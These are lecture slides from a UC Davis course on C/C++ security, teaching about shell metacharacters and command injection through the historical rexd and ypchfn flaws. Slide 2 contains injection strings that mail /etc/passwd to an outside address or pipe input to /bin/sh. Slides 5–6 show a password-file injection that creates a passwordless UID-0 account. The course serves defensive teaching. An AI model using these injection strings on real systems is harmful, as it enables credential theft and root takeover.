Lesson 3.2: Metacharacters

SECURITY VULNERABILITIES IN C/C++ PROGRAMMING

Metacharacters

Matt Bishop, Ph.D.
Professor of Computer Science,
UC Davis

UCDAVIS
Continuing and Professional Education

Slide 1: Metacharacters

Metacharacters

Characters that have special meanings for programs

Metacharacter	Which Shell?
$ ( ) { } [ ] * ? | & || && ; “ ‘ ` \ ^	For all shells
! ^ :	For C Shell
%2$x	For Linux printf(3) style functions (means the second following argument is to be printed in hex)

Slide 2: Examples from Shells

Examples from Shells

To web browser asking for host name	`` `mail me@here.com < /etc/passwd; echo here.com` ``
To system asking for remote address	`` `/bin/sed '1,/^$/d' | /bin/sh` ``
To command allowing remote execution of some commands	`remexec host echo "\`mail me@h.com</etc/passwd; hi\'"`

A form of command injection

Slide 3: Question: Who Checks?

Question: Who Checks?

Canonical example: *rexd*

- Assumes client does all checking
  - Authentication of user
  - Authorization of command
- So *rexd* server does no checking!

Slide 4: Checking at the Wrong Place

Checking at the Wrong Place

ypchfn changed GECOS field of password file

Password file fields delimited by ":", records by newlines

Put ":" and newline in the value you supply

- Effect is to finish current line and add a new beginning for the next
- In the beginning part, make the password something you know and the UID 0

Slide 5: In Detail

In Detail

Password file contains:

- `mab:zbcdefghijklm:1032:60:Matt Bishop:/u/mab:/bin/csh`

Call *ypchfn* and enter this as your new name:

`Matt Bishop:/u/mab:/bin/csh^V^Jmr::0:0:Gotcha!`

^V is literal so next character (a newline) inserted into input; it does not end the input line

Note empty password field after the newline

Slide 6: In Detail

In Detail

After the change, you have:

- `mab:zbcdefghijklm:1032:60:Matt Bishop:/u/mab:/bin/csh`
- `mr::0:0:Gotcha!:/u/mab:/bin/csh`

in place of the single line

Slide 7: First Try At a Fix

First Try At a Fix

Client changed to disallow ":" and newlines in field

Server not changed to check what client sent

- As client did this already, why duplicate the effort?

Guess what attackers did right?

- Wrote their own clients

Server is resource manager, so it must be changed unless you can guarantee it can only be accessed by specific, known clients

Slide 8: Requirements

Requirements

Know what the server expects

- *rexd* expected authorized, checked command
- *ypchfn* expects well-formed GECOS field
  - "Well-formed" means no ":" or newline

Slide 9: Requirements

Requirements

Expect it to be given something else

- *rexd* gets any command attacker likes
- *ypchfn* gets ill-formed GECOS field

Rule: validate as close to the resource being protected as you can